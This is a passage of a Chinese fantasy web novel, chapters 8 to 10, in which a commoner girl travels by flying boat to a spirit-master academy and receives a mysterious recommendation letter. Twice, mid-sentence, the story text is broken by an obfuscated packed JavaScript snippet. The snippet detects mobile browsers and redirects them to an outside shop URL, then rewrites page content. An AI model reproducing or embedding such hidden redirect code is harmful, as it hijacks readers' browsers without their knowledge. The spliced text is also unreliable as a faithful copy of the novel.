一直没有抬头的梅见蹊,听了这句话,猛地看向司城凛,满眼的如听骇闻:“你——找我——帮忙?找错人了吧?我父亲今日不在。” 司城凛只淡淡道:“我找你。” 梅见蹊与他对视片刻,好笑地搁了笔,缓缓起身:“司城封座竟需要找人帮忙?还是找我这么个小小的隐灵?有趣有趣,说来听听。” 司城凛一句废话也不多:“帮我开一封推荐信,给今年前来参加入学考试的新生。” 梅见蹊听完,跟看神经病一样看他:“……什么鬼?你自己不就能开吗?” 自然,这个推荐信谁都能开,只是看谁的落款更有分量。而论分量,谁又能比得上司城家。 虽说梅校长一向不给贵族面子,即便有推荐信也要在入学考试中有真才实学才予录取,想进却进不了的贵族大有人在。但,梅校长当然也知道,能让司城家开推荐信的人,绝非等闲。 因此,司城凛提笔就能搞定的事却专程跑一趟,有脱裤子放屁之感。 司城凛没做声,稍后,眉眼微垂,似有难言:“我……不太方便。” 梅见蹊一听,来劲儿了,整张脸凑到他面前,好似要把他盯出个窟窿:“好好好司城凛,我看出来了,你马上要有把柄落我手里了,来,说说,说说说。” 梅见蹊转身回到桌前,屁股一翘,坐了上去,摆出一副准备好吃瓜的模样。 ——他还真说对了。 司城凛始终未动,面无波澜,辞色沉冷,没多犹豫便开了口:“此前我在边城邬戍参悟封灵境,封灵当日不慎灵爆,极度虚弱,昏迷不醒,被当地一位采药人发现并救下,疗以药草,才得以恢复,我醒后察觉她颇有天分,便建议她来考神都学宫。” “倒是合理,能找到足够为封灵灵师疗伤的草药的人,该是有天分的,”梅见蹊双手抱胸,点了点头,又说,“然后呢?这你有什么不便的?” 司城凛沉默了。 梅见蹊立时察觉不对,嘴角一扯,眼中玩味加深,道:“让我来猜猜——你不想让她知道你的身份?” 司城凛不言。 “——是女的?” 不言。 “——很漂亮?” 不言。 梅见蹊嘴角快咧到耳朵了,作了最后结论:“——你们发生了什么,所以你不想让她知道你的身份?” 司城凛终于抬声:“你开不开?” 好家伙,全中。 “啪——”一声响,梅见蹊热烈拍掌,一跃而下,麻溜儿回去找笔:“我开,我开,我当然开,我倒是要看看这名不见经传的深山里出了个什么样的女子能让你这样。” 司城凛一言不发地看着他的动作,梅见蹊要落笔了,才想起来什么,抬头还没问,就听到了回答:“巫寻月,工从巫,寻月草的寻月。” 梅见蹊一脸的“你小子落我手里了”,一边笑一边奋笔疾书。写完了,他才想起来哪不对,说:“不对呀,能发现你,不被你的灵压所伤,还能为你疗伤的人,至少也有七重灵啊,百年不遇的天才,入学考试必是没问题——你在担心什么?” 8. 第 8 章 司城凛在检查他写的内容,不作答,等确认无误后,还给他,一字未言,转身就走。没道谢,没道别。 身后,梅见蹊还在大叫:“喂,臭小子,懂不懂礼貌啊?你不求我帮你保守秘密就算了,连一句谢谢都没有啊?小心我把你的小秘密昭告全校啊!” “——你是不是怕她不来神都啊?” “——喂!” 梅见蹊追到门口,只见一阵疾风盘旋,那身玄青劲装官服就此消失在了视线里。 梅见蹊双手抱胸,很没好气:“有病吧这是。” ——很难想象,这就是司城凛最好的朋友,五大宗族之一梅家的大少爷,梅见蹊。 神都学宫负责接驳的双凫船将会停靠在暮沉泊的最大渡口,一早,玉文瑛便拉上巫寻月到江边等待。 清灵江一大早便开始了繁忙,一艘民用客船刚载满一船人,收起甲板,扬帆远航,他们也要北上,去嶷雾城。 “快看!是狄家的船!”玉文瑛突然说。 巫寻月沿她视线看去,江面上一艘北上的商船渐驶渐近,船的外观制式显得十分华丽,船速也比其他船要快不少,一路疾行,没有要靠岸的打算。 巫寻月已逐渐融入灵力存在的世界,便大胆猜想:“狄家的商船是不是有灵力驱使,所以才这么快?” “没错!”玉文瑛非常欣慰地她如此聪明,“五大宗族都有自己的灵师,这也是我们毕业之后可选择的就业方向之一。” “可以选择去宗族做灵师?” “对呀,比如狄家负责商贸,要天南地北地跑,需要灵师护航;桑家主管医疗,自然是需要医疗系的灵师……” 巫寻月打断她:“医疗系?” “嗐,我都忘了跟你说这个,灵师分为——哎!你看!船到了!” 未及说完,两人一同抬头看去,只见天空中现出一对飞鸟,后面拉着一艘船,正减速俯冲,缓缓朝江面刹停降落。飞得近了,才发现那飞鸟体型竟如此之大,与船体相近,形似鸭子,红腹青羽。 等双凫船落在了江面上,巫寻月完全看清了双凫,惊道:“它们怎么一只只有一只眼睛?” 玉文瑛说:“对呀,这便是双凫,一翼一目,相得乃飞,单独一只便飞不起来呢。” 乘坐双凫船前往神都,不到一日便可抵达。 巫寻月却是想起来,那个人说,他赶时间的话,从神都到邬戍只需三个时辰。关于他的事,巫寻月一刻也等不及,张嘴便问了:“文瑛,你知不知道,从邬戍城到神都只需三个时辰的灵师,是什么级别的灵力?” 巫寻月没想到,玉文瑛目瞪口呆地看着她,轻轻往她脑门一敲,说:“小丫头片子想得还挺远啊,此等绝世遁术,封号灵师中也未有几人能练成。” 巫寻月愣住了,她已然知道那个人绝非封号灵师,因为玉文瑛已经告诉过她,当今封号灵师最年轻的也有三十多岁了。于是,她设想了另一种可能:“有没有可能……有灵师专精训练轻功?灵修虽不甚很高,但轻功练得特别特别好呢?” 此时,双凫船已停船靠岸,护船灵师放下甲板,等待在四周的学生也都在纷纷准备路引或学生证了。玉文瑛一边翻找,一边草草回应:“或许有可能吧……哎我学生证哪去了?” 大家陆续汇聚到码头,巫寻月好奇地四处扫视,果然周围大多是同龄或是比她年长一些的高年级学生,玉文瑛说了,能够十一岁入学者,大多为神都世家子弟。 护船灵师开始点名了,答到之后便可入船。点着点着,便有不应声的名字了。玉文瑛悄悄告诉巫寻月:“咱们提早两日过来是对的,每年都有踩点出门的人,中途却被突发状况耽误了,最后误了船呢?” 巫寻月问:“那要是误了船怎么办?” “那就到了检验学习成果的时候了,若是遁术学得好,可用轻功前往,一路停下调息,怎么也比骑马要快,”玉文瑛说着,还真的好好想了想,“我遁术这么烂,怕是要走上十天才到呢。” 巫寻月刚要发笑,就听到了自己的名字——“巫寻月!” “……到!”她一路小跑向前,不忘回头小声说,“我先上去等你!” 玉文瑛笑着冲她挥手,鼓励她快去。 透过弦窗,巫寻月看见船舱里已坐了半数人。起先是负责签到的护船灵师惊艳地盯着她进了船,等进了船内,里头所有人的反应也如出一辙。 巫寻月垂目低头,找了角落的位子坐下,不好多张扬——若是已入学也就罢了,她倒也不吝啬于展示美貌,可此行结果未卜,说不得就要打道回府,还是低调些好。 刚一坐下她便听见有人议论:“她是几年级的?”“不知道呀都没见过。” 等玉文瑛上了船,巫寻月便招呼她过来坐下。不久后甲板便被收起,护船灵师过来宣读:“应到二十四人,实到二十三人,现在要启程了,同学们——新学期愉快。” 船舱里响起一阵欢呼与掌声,之后便没再静下去,大家七嘴八舌地聊了起来。 “我这暑假可是一天也没休息,感觉是精进了不少,希望开学测灵能成功升四重灵!” “我的控术大有长进!已能将我家水池中的水控到空中形成水球了!” “遁术还是找不到诀窍,瞬移距离太短,轻功老摔,我从我家房顶摔下好几回了!” “下学期便要毕业大考了,我才刚升六重灵,不到一年时间能到七重灵吗?我不会延毕吧!” …… 此时,双凫船已腾空而起,振翅高飞,钻入云层之后,平稳如静水行舟。 听着这些从未听过的怪异词语,巫寻月心中一块沉石落地,终于有了进入灵师世界的真实感觉。窗外云海延绵的景象于平民过于虚幻,若不是一直有人说话,她都怕自己是在做梦。 护船灵师给大家上了些茶点,有了吃的,大家越聊越热烈起来。 不知是谁高声说:“听说了吗?五令封座穹仪又去找闻人阁老比武了,这次啊还是没打赢!” 立马有人回应:“胡说!并非没打赢,是闻人阁老见了穹仪封座转头就跑掉了!” “哈哈哈哈哈……” “唉,我可是穹仪封座铁粉,那么执着,那么专一,还想着若她成功,最强灵师排行就能刷新了呢!” “你啊,盼着穹仪封座能打赢闻人阁老,还不如盼着司城封座什么时候真正和梅校长比试一场分个高低出来!” “是啊是啊,我太想看了,司城封座和梅校长到底谁的实力更强,这可真是近百年最大的未解之谜!” 巫寻月在角落里听得云里雾里,凑近玉文瑛问:“文瑛,他们在说什么啊?” 玉文瑛也贴近她:“这些呀,都是灵师间的老八卦了,五令封座穹仪是位女性,倒追天听阁阁老闻人影照多年,阁老并未回应,穹仪封座便常常缠着他比武——从来没打赢!” “那司城封座和校长又是怎么回事?” “他们两个,分别是司城家和梅家史上的最强宗主,据说不相上下,难分高低,在灵师战力排行榜两人并列第二。” 巫寻月好笑道:“竟还有这样的排名?是怎么评出来的?” “那当然是民间自己排的了。” “啊?” “你看啊,虽然明面上的封号灵师一共二十一位,但除了已知大灵师是第一强,剩下的其实只有十一令封座们有实战表现,诸位阁老和五大家族都未见出手,所以榜上几乎是十一令垄断排名,当然这也差不离,毕竟十一令自古就代表了我们灵族的战力巅峰。” 巫寻月注意到了之前所说:“那五令封座打不赢阁老是怎么回事呢?” “你说对了,”玉文瑛就知道她能抓重点,跟她说话毫不费劲,“封号灵师之间偶然也会有冲突或戏谈,大家根据这些比试完善了排名,据目前已知,闻人阁老比穹仪封座强,至于梅校长——梅校长也未曾出手,但是是司城封座亲口说的二人不相上下。” 这真是勾起巫寻月的好奇了:“那排名是怎样的?你记得吗?” “我……”玉文瑛先是面露难色,而后立马有了主意,抬声喊了一嗓子,“哎——你们谁记得最新的最强战力排行啊?” “哪用得着最新啊,一直就那样嘛,”说话的人站了起来,在大家的哄笑声中揭晓答案,“第一是大灵师,司城宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674284|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主和校长并列第二,第四是三令封座云崖朝乾,第五是七令封座赦罗,第六是一令封座叫什么来着……哦!漆听封座!失敬失敬!第七是二令封座乔姬,第八是闻人影照阁老,第九就是五令封座穹仪,第十嘛就是六令封座慕之遥啦。” 巫寻月又发现了重点,压低声问:“大灵师是特定称呼吗?只有那一位?” “没错,”玉文瑛凑近她耳畔,说,“大灵师名为伏九天。” “这也太帅了吧……”巫寻月心生向往,“究竟是什么样的女子能如此传奇呀……” 这时,一道冷静的声音从角落传来:“很快,这个排名怕是就要更新喽。” 众人纷纷侧目:“更新?更新什么?更新谁?” 毕竟都是十几二十岁的孩子,得了几分瞩目便明显得意起来:“你们都还不知道吧?司城家的世子已成功飞升封灵境,成为灵族史上最年轻的封号灵师,他今年才二十二岁,要不了很快就会一路屠榜了!” 船舱里静了片刻,众人面面相觑,看起来的确从未听闻。 终于有人说:“不可能吧!二十二岁?怎么可能二十二岁封灵?” “怎么不可能?司城世子本就是天纵奇才,十一岁入学便是七重灵,还未毕业已是隐灵,是公认的千年不遇的天才!” “可隐灵之后还有破灵,才可封灵,这……这只用了四年……怎么可能?” “司城世子的超凡之才哪是你我能想象的……” 大家议论纷纷,有质疑的,震撼的,也有惊叹的,仰慕的……司城凛粉丝太多,总体来说,支持的声音多于质疑。 最后,带来消息的人气定神闲道:“此消息早已传遍神都,你们离得太远还不知道罢了,等下午回到学校,你们自然明白。” 一直没人说出这位世子的名字,因为世子名讳不可直呼。 船舱里七嘴八舌的闲聊还在继续,巫寻月稍稍收了心,一时之间信息量大爆炸,她脑子有些乱。 细想来,这些高层大人物的事于她一个还不知能否入学的平民来说,实在远如浮云,凑热闹听两句,对灵师世界有个大概了解得了,她现在最主要的是该想想入学考试的事了…… 这两日已听玉文瑛将入学考试说了个大概,巫寻月刚想再问,转头见她也一脸愁眉,便问:“怎么了文瑛?” 玉文瑛一改笑颜,苦闷道:“这两日光顾着高兴认识了你,都忘了我已分了专业,这学期开始要上专业课了,那可比公共课难太多了!我暑假时预习了一些,根本就看不懂!” 新知识又砸向了巫寻月,她怔怔问:“……什么?专业?” “噢,我还没跟你说呢,学校一二年级上公共课,三年级开始分专业,然后学专业课。灵师分三类,强攻系,控制系,医疗系,三到六年级学习专业课,七年级准备毕业大考。” 有关灵术学习,巫寻月可比对八卦有兴趣多了,只可惜玉文瑛及时打住:“哎我先不跟你说了,你让我冷静冷静。” 巫寻月只好一笑:“好。” 玉文瑛沉入自己的世界,巫寻月想起了玄麒送的书。她取出书来,往后翻翻,果然有有一本《神都学宫入学指南》。 里面所写,灵术学习的公共课包括:调息、武术、遁术、堪舆、医术、药理、驯兽、控术,以及历史课这样的文课。 一二年级学习公共课,三年级分专业,根据不同类系,课程也不尽相同了。强攻系灵师重在学习武术和攻击类控术;控制系灵师则在武术、攻击类控术的基础上,需更加掌握封印类控术;而医疗系灵师,在武术的基础上,需重点学习防御类、封印类控术,以及自成体系的医疗灵术。 从灵术学习的课程设置来看,巫寻月得到一个显而易见的结论——灵师的首要标准是能打,其次才是其他。 那么从这个意义上说,强攻系或许最基础,控制系要难些,医疗系最全面也最复杂。 看书看得有些时候了,巫寻月抬头眨眨眼,视线一撒望向窗外粉金色的云海。夕阳将至,日光像熔化的琉璃般泼下来,将连绵的云层染出深浅交错的纹路。 ——那么,那个人,是什么系灵师呢? 9. 第 9 章 巫寻月回想他练功时的那些场景,大开大合,降云御风,多以降伏天象为己所用为目标。 她想,他应该是控制系。 这位控制系灵师,从神都学宫出来之后,直接回了司城府。 司城凛穿过花园,远远就看见妹妹司城迦染坐在湖心亭中,很快有侍女提醒她,她立刻抬头望向这边,见到司城凛后起了身。 司城凛读懂她的眼神,便提步过去了。司城迦染心中着急,一路小跑,未到跟前便拖着哭腔喊:“哥……” 司城迦染扑进司城凛怀里,泣不成声。司城凛默默无言,只等她哭够。她已经哭了几日了,自从她回来,司城凛将父亲病重的真相告诉她,她就一直在哭。 “哥……对不起,真的对不起……”司城迦染哭得心肝寸断,“你为什么不早点告诉我?让我多陪陪父亲,为什么……” 司城凛喉结微动,开口时,声线低哑至极:“这担子太重,我一个人扛就够了。” “不是这样的,不是这样的哥……” “生老病死本是常态,没有必要因为这样,就改变两个人的人生轨迹,”司城凛的声音很淡,“改变我的就够了,你依然可以做你自己想做的人。” 司城迦染缓了缓,慢慢抬起头来,脸上鼻涕眼泪连成一片,眼睛红肿了几日也未消退。她轻轻问:“哥,我能帮你做什么吗?我又能帮父亲做什么吗?” “留下来好好陪陪父亲,”司城凛从兜里取出一块手帕,递给她,又说,“父亲希望你有自己想做的事,你若还找不到答案,可以试着先回学校,神都学宫后日开学。” 司城迦染没有拒绝,现在司城凛说什么她都拒绝不了。 双凫船停泊在神都学宫山脚下的万映湖中,停稳后,学生们依次有序下船。 轮到巫寻月时,她深深吸了口气,跟在人后走出船舱,第一次见到了神都的天空。 ——灵气不如邬戍城。这是她的第一反应。难怪那个人要不远千里跑去邬戍城修炼,灵气纯度明显天差地别,好比喝了玉液琼浆之后再饮白开水般索然无味。 下了船,一眼便能望见山脚下的校门,红瓦白墙,“神都学宫”四字刻于中央,墙上嵌着一种灵兽图腾,形似鹤,而顶戴赤金鸡冠,白颈乌翅,尾拖如孔雀般的七彩长羽——此名为乌金鹍,灵宗庙中见过,是梅家家族标志。 暮沉泊过来的新生不多,大家都熟练地朝校门走回校舍,正当巫寻月无措时,就听到有人在唤:“——巫寻月。” 巫寻月抬头,与一位身着茶白压红边交领长袍的女子交汇目光,那人便向她走来,微笑道:“欢迎你,巫同学,我是负责迎接新生的梅亦书梅老师,现在带你到学宫客栈去。” 巫寻月乖乖行礼:“梅老师好。” 此时同学们从她身后经过,传来一片私语:“总务老师亲自接?她是谁啊?”“你听见了吗,她叫巫寻月。”“世家子弟?可看起来不小了怎么才入学?” 巫寻月听得一怔,梅亦书听起来是梅家人,是其他新生没有梅家人相迎,还是这位在梅家地位甚高?可无论是哪种猜想——又为什么来接接她呢? 梅亦书颇为欣赏地点点头,道:“生得真是美,出水芙蓉,清丽动人——听说你还天分颇高,上天对你真是偏爱得紧呢。” “……听说?”巫寻月问出口。 梅亦书并未作答,下巴一抬,转了身:“跟我来吧。” “那我的行李……” “自会有人送过去的。” 巫寻月跟了上去。暮沉泊来的新生只有她一位,梅亦书一路又主动说:“今晚你就先住在学宫客栈,给你准备了入学须知和新生指南,明天上午在学校进行开灵测试和入学考试,到时会有老师来接你。” “好……请问我需要准备些什么吗?” “不必,”梅亦书答得肯切,像是完全没有考虑,“旅途劳顿,好好睡一觉吧,日用采买什么的不必担心,学校会发放基本的生活所需,若是需要,都前驿也有齐全的铺子。” “好,谢谢梅老师。” 一进到客栈,巫寻月就知晓了梅亦书的身份。这两日开学,客栈里挤满了从各处赶来的人,其中有不少和梅亦书着装相同的人,见到她之后,他们纷纷行礼:“总务。” 巫寻月跟着梅亦书上楼,说话间再恭谨了几分:“梅老师,原来您是学校总务呀。” “对,以后我们会常见,”梅亦书回头冲她一笑,“这些都是学校的老师,负责迎接从各个地方来的新生,外地来参加入学考试的新生都统一住在此处。” ——果然,同样是迎接新生,负责来接她的人却是比别的老师职级要高。 巫寻月很快就知晓了答案。 梅亦书带她来到房间,在她四处张望时说:“入学须知放在桌上了,你的行李很快就会送来,晚饭可以在客栈吃,也可以在街上看看,这附近的铺子都很不错——对了,这是你的推荐信。” 巫寻月一听,定神下来一看,只见梅亦书将一个信封递过来,封面没透露什么署名信息,让她无从猜想:“我的……推荐信?是何人所写?” 梅亦书仍是浅浅一笑:“看了你就知道了。” 巫寻月接过信封,梅亦书便离开了。 拆开信封的几秒之间,巫寻月脑海中闪过所有猜测——知道她来神都考试又有能力推荐的无非是玄麒,亦或是姐姐告诉了桑家,还有……那个人? 信纸展开,寥寥几字,且……颇为随意,一眼便看到了署名——梅见蹊。 “巫寻月,邬戍城人士,让她进。——梅见蹊。” 巫寻月惊呆了,里外将信纸信封又检查了一遍,确认再也找不出多一个字。且封蜡乃梅家图腾乌金鹍,绝无人敢作假。 可……这信的内容,也太像恶作剧了。 与鉴定真假相比,更为令她震惊的还是——梅见蹊是谁?梅家又为什么会给她开推荐信?总觉得这名字这两天听过,可这两日名字轰炸太密集,她根本没记住…… 想了一会儿没有头绪,她便罢了,拿起桌上的入学须知翻阅起来。明日分两个环节,一是开灵测试,一试便可探知灵力级别;二是入学考试,即便有了灵力,也要考验是否具备运用灵力的基础条件,让灵力在体内正常运转流动,这称为灵流。 并不是每个具有灵力的人都能产生灵流,有的有了灵力却还未成熟,须再等等,推后入学年龄;有的则是溃散于体内不成整体的散灵,无法催动灵力进行使用,须得家中设法求医问药,为其塑灵。 剩下还有一种最坏的结果,是原本不适合修习灵术的身体偶得灵力,灵力无法融于其经脉气海,如一潭死水无流动之象,此乃假灵。假灵在体内经行不通,久而久之便会沉积硬化,彻底阻断灵力吸收,造成身怀灵力的假象,却根本无运作灵力之能。若是这种体质,此生便绝无可能再成为灵师。 司城凛倒不是担心巫寻月是假灵,她与垩山仙草能够相互感应,分明是灵力互通之象,且她扛住了他飞升封灵境之后的灵压,也能说明有灵流运行为她护体。 同时,显然她不是第一种情况,更不是第二种。 那他到底在担心什么呢? ——已经有人猜中了。即便她通过的概率无限接近于百分之百,他也要填补那最后微不足道的任何意外。 看完入学考试的内容,巫寻月算是在未知的迷雾中有了些方向。即便她不会半点武术和控术,调息也一团糟,驯兽……她可不知对付小白那一套对付别的灵兽管不管用。但至少,药理方面,她不会输,能有一条路子应付考试,也不至让她被迷茫重重包围。 等行李送到清点无误之后,巫寻月出门去看看晚上吃点什么。 此处名为都前驿,顾名思义,是进入神都城的最后一处驿站。原由一处村庄发展而来,卖些简单的吃食,后来因与神都学宫离得近,学生们瞎逛时喜欢来此,人流量多了,便有多家商贩来此开店,学生与旅客来自天南地北,这里的小吃店也就包含多种地方风味。再后来,学校也把学宫客栈建在此处,开学时安排新生入住,平日便当普通客栈运营。 巫寻月正在街巷里四处寻摸,有人已先发现了她:“——寻月!” 巫寻月回头,一眼望见正坐在一家面馆里朝她挥手的玉文瑛,她身旁还坐了一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674285|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女同学。巫寻月回应了她,向她走去。 等到桌前,玉文瑛主动介绍道:“这就是我跟你说的我前日在暮沉泊遇到的老乡,怎么样?是不是超级大美人?” 一旁同学早已看呆:“太漂亮了……难怪你说得那么夸张,原来一点也不夸张……” 巫寻月寻玉文瑛开心:“我真是谢谢你啊,一到学校光顾着推销我了,你的功课想得如何了?” 玉文瑛一副放弃治疗的模样:“功课再想也是头疼,不如不想,还是想你开心些。” 三人一同坐下,玉文瑛说这顿她请,以表示对巫寻月的欢迎,见她坚持,巫寻月也不再推辞,又说:“那下次我请。” “等的就是你这句话,”玉文瑛眉间挤出笑来,“不然下次找你吃饭还得寻个由头。” 面很快上桌。几人开始动筷时,巫寻月想起来,或许可以问问她推荐信的事,便开口:“对了,你知不知道梅见蹊是谁?” 谁知,两人皆是猛地惊吓,一个手中筷子掉了,一个舀起的一大筷面条砸回碗里,溅起一脸汤水。巫寻月给玉文瑛递手绢的时候,玉文瑛好笑地说:“傻姑娘,我跟你说过的,梅家世子,校长之子,也在学校里任教。” “啊?”惊吓的人变成了巫寻月,“……怎么会?” “怎么了?” “接我的总务老师到了客栈之后给了我一封推荐信,里面署名……梅见蹊。” “——什么?”两人一同大喊。 巫寻月一头雾水,顾不得她们震惊,又问:“可我不认识他呀,从未见过,为何会给我写推荐信?所写的确是我的名字和户籍……梅家都会因为什么开推荐信呢?” 听她如此发问,二位女生面面相觑,仿佛听闻天方夜谭。 好一会后,玉文瑛才说:“听说……自梅校长继任梅家宗主以来,从未给谁开过推荐信。” “……为什么?” “梅校长出了名的铁面无情,谁的面子都不给,尤其是贵族,一定要凭真才实学,所以据说自梅校长执掌神都学宫这近百年来,世家子弟的入学人数少了许多。” “……怎么会这样?” 巫寻月还在毫无头绪之时,一旁同学无心说了句:“肯定是你家里找的人呀,要不然怎么……” 玉文瑛赶忙按住她的手,掐断她的话,转头冲巫寻月解释:“她不知道,你别介意……” 巫寻月笑了笑:“没事。” 同学不知巫寻月是平民,家里不过开个药铺,玉文瑛可是听她说过的。玉文瑛也清楚,她们家乡那样的偏远之地,实无什么可能与神都大贵族攀上这般情面。 可,同学一语也点醒了巫寻月——必然是有人为她找了梅家,这是谁都明白的道理。 而这个人,是梅家不可拒绝之人。 既来之,则安之。来日方长,或等入学之后见到梅家世子再行询问也可。 明日还有最重要的事,巫寻月早早便睡了。 翌日一早,巫寻月梳妆好走出房间,来到大堂用早饭时,听到满堂的人都在讨论今日的入学考试。 “听说了吗?梅校长竟要亲自坐镇新生入学考试!” “真的假的?你可别吓我,这考试有什么好看的啊……” “这届新生里有何特别之人啊,竟劳动梅校长亲自监考?” “未曾听说啊,而且这个时候来参加入学考试的皆是外地生源,神都世家大族子弟早在几个月前便考完了,哪来的特别之人啊……” 的确如此,神都子弟皆在入夏时便已由梅家人亲自登门考核完毕,确定了入学名额,或是有能力的都外世族子弟也会由家长携带提前来神都应考,此时的考试是专为神都之外的新生设立的。虽说神都之外一些大城市也有高门大户,可那毕竟是梅家,五大宗族,天下能让梅家相让三分者,神都已是罕有,更何况外地。 众人皆议论不停,皆有紧张,巫寻月静坐一边,隐隐有种预感——梅校长是因她而来的。 可……这话说出来,她自己也觉得荒谬,人家堂堂梅家宗主,全灵族战力第二的封号灵师,神明般的人物,为了……她谁啊她? 10. 第 10 章 等过些时候,负责接新生的老师便来了,他们不论男女皆是茶白压红边交领长袍,腰间系一令牌,组织好所有人有序离开。 都前驿距离校门有段距离,好在大家几乎都是第一次来神都,一路四处探看。昨日从万映湖停泊处前往客栈,山景被树林遮挡了大半,今日此路,才是真正揭开了神都学宫的面纱。 走出树林,迎来全幅画景,队伍中爆发出一阵惊叹:“哇……” 万仞青峰如巨戟刺破云海,神都学宫所在之峰,如一柄青玉巨剑直冲云霄。嶙峋石阶攀山而上,红瓦白墙错落镶嵌,仿佛天神将一把玛瑙珠玉随手洒落。山腰间,远远眺见数座校舍悬空而出,其下云雾翻涌,一旁有一瀑布不知从何处奔涌而出,径直坠入下方无垠的云海,消失于茫茫雾白之中。 走过“神都学宫”四字门牌下,正式进入学校范围。近看了,可见乌金鹍石雕四下分布,屋舍檐角悬挂着青铜惊鸟铃,晨间薄雾弥漫,让人一时难辨这究竟是人间宫阙,还是缥缈神界。 赞叹惊艳之语此起彼伏,走在一边的老师忍不住说:“我们校舍景致人间一绝,年年初次来此的人啊皆是如此。” 见这老师善谈,巫寻月趁机发问:“老师,听说梅校长要亲自监考入学考试,是真的吗?” 老师早已记住她这张美貌,见她又乖巧礼貌,自然乐意宽慰:“放心,校长若要来也只是来看看,并不是主考官,不必紧张。” 刚入山门不久,便听到不知何处传来撞钟之声,队伍四处张望,领队的老师说:“这是辰时三刻的钟声,乃每日第一节课前的预备钟,辰时四刻上第一节课,撞钟乃司城家赠与学校的灵器,不为人力干扰,今日还未上课,不必理会。” 的确,正如传说的那样,进入了神都灵师的世界里,五大宗族中几乎时刻被提及的便是司城家,五大宗族为灵族之首,而司城家则为名副其实的五大宗族之首。 考场设在山脚一座正殿之中,穿过宽阔的场地便是,不需要走太久。大门敞着,渐走渐近,巫寻月听到里头传来一片嘈杂,等进了门,看到殿内中央留了大片空地,考生们乌泱泱围坐在四周,而最前头的一排考官位都还空着。 巫寻月注意到,考官位之后置了帘子,里头铺着塌,不细看便不会注意。想来,是那垂帘之人并不想过多打扰。 领队老师将他们带到一旁,便让他们自由落座了。巫寻月顺着走进第二排一处空位子坐下,坐好后不久,殿外就走进来一列身着老师制服的人,身旁有人低语:“来了来了,要开始了。” 众人视线被正殿大门吸引之际,巫寻月听到身后有人小声说:“那是梅家世子吗?刚刚从后殿进来了,坐在了帘后……” 巫寻月一惊,回头看去,只见帘后的确有了人影,看身形,的确也更像是年轻男子。 又有人说:“梅校长是不来了?让世子代为监理?” 巫寻月不知道的是,梅见蹊比她先看见了她。 ——倒真是绝色,年方十五就有如此姿容,等她长大落成,怕是更要艳冠神都了。 至于梅校长为何没来,说来也是好笑。他本是要来的,梅见蹊将司城凛找他开推荐信的事告诉了父亲,说是给一位籍籍无名的平民女子。梅晏晷一听此事,先是问:“是司城世子让你告诉我的吗?” 梅见蹊一脸的理所当然:“他没让我瞒着啊。” 此事来得突然又离奇,梅晏晷十分重视,毕竟事关司城家世子,又是开推荐信招收新生这样他一向严苛的事。梅晏晷当即决定亲自压阵。 梅见蹊一听,一口茶水喷出,道:“老爹你也不至于吧,你多大个人啊,去看十几岁的孩子入学考试,不得把人家吓死了。” 梅晏晷坚持:“这是司城家的事,不是小事。” 梅见蹊真无语,洞悉天地万象如他爹,怎么这么简单的事都搞不明白。但他也不好明说,毕竟司城凛没承认,只得疯狂暗示:“这个……阿凛他,是个男的,你知道吧……然后这个小姑娘,她是个姑娘……” 好说歹说一通,梅晏晷还是不明所以。梅见蹊见了鬼了,老爹这技能全点智商了,情商这是一点没有啊。后来他终于找到了合适的说法:“老爹,阿凛不是随意开口之人,他当然知道您不给世家大族面子,这么多年也未曾屑于为何人开口,既他开口,说明他绝对确信此人,也相信您明白他的用意——司城家既开口,一定是您也会认可的人。” 这话梅晏晷可就能听明白了。那么问题又来了——“既如此,司城世子为何不以司城家之名出推荐信啊?” 问题又绕回了原点。梅见蹊快疯了,破罐子破摔,道:“他俩——他俩有问题!” 梅校长这下是彻底听懂了,很是无语:“年轻真好啊。” 所以他决定不去了,一糟老头子,凑什么小孩儿过家家。 爹不去,儿子还是要去的——梅见蹊本就打算入学考试当日便来看看巫寻月。 巫寻月此时话不多,事实上,自离开邬戍城之后,她话便少了许多。外面世界的信息熵值爆炸,她无时无刻不在多看多想,即初来乍到未有筹码,自是要收敛心气,积攒成长。 所以,在梅见蹊眼中,她显得拘谨而谦卑,暂未看出有何天分。 辰时四刻撞钟敲响,开灵测试正式开始。 大殿正中央十位老师分两排并立,各自面前的矮台上都放着一尊长筒石器,高约一尺,口径三寸,底部似封存着银色金属液体。正当巫寻月猜这就是用来测灵的,便听见人说:“这是测灵筒,专门用于给新生测灵的。” 巫寻月忽觉好笑,摸了摸藏在心口处的罡灵坠。给小孩子用的低级灵器,连个像样的名字都不取,如此简单粗暴。 一位老师上前,发言介绍道:“现在开始进行开灵测试,这是测灵筒,一会老师会施法为你们开灵,测灵筒会根据你们的灵力等级进行相应显示。此次参与测试一共二百三十六人,十人一组,请听到名字的同学走上前来。” 第一组同学年龄在十二岁至十六岁不等,十人分别走到老师跟前,站好后,开考老师一发指令,十位老师便开始运灵施术。 十位老师手势一致,动作同步,有气流在掌指间运作,“轰”一声,同时施向十人。只见十人好似猛地被人提起,站姿脊背挺直,很快,银丝般的灵流从头顶溢出,如倒酒般进入测灵筒,底部银色液体瞬间被激活,发出耀眼蓝光,缓缓膨胀上升。 其中大部分人的银灵很快涨停,老师分别报名字,结果是:“一重灵。”剩下两位的银灵涨至稍高,也停止了——“二重灵。” 一轮下来,所有人都了解了规则。 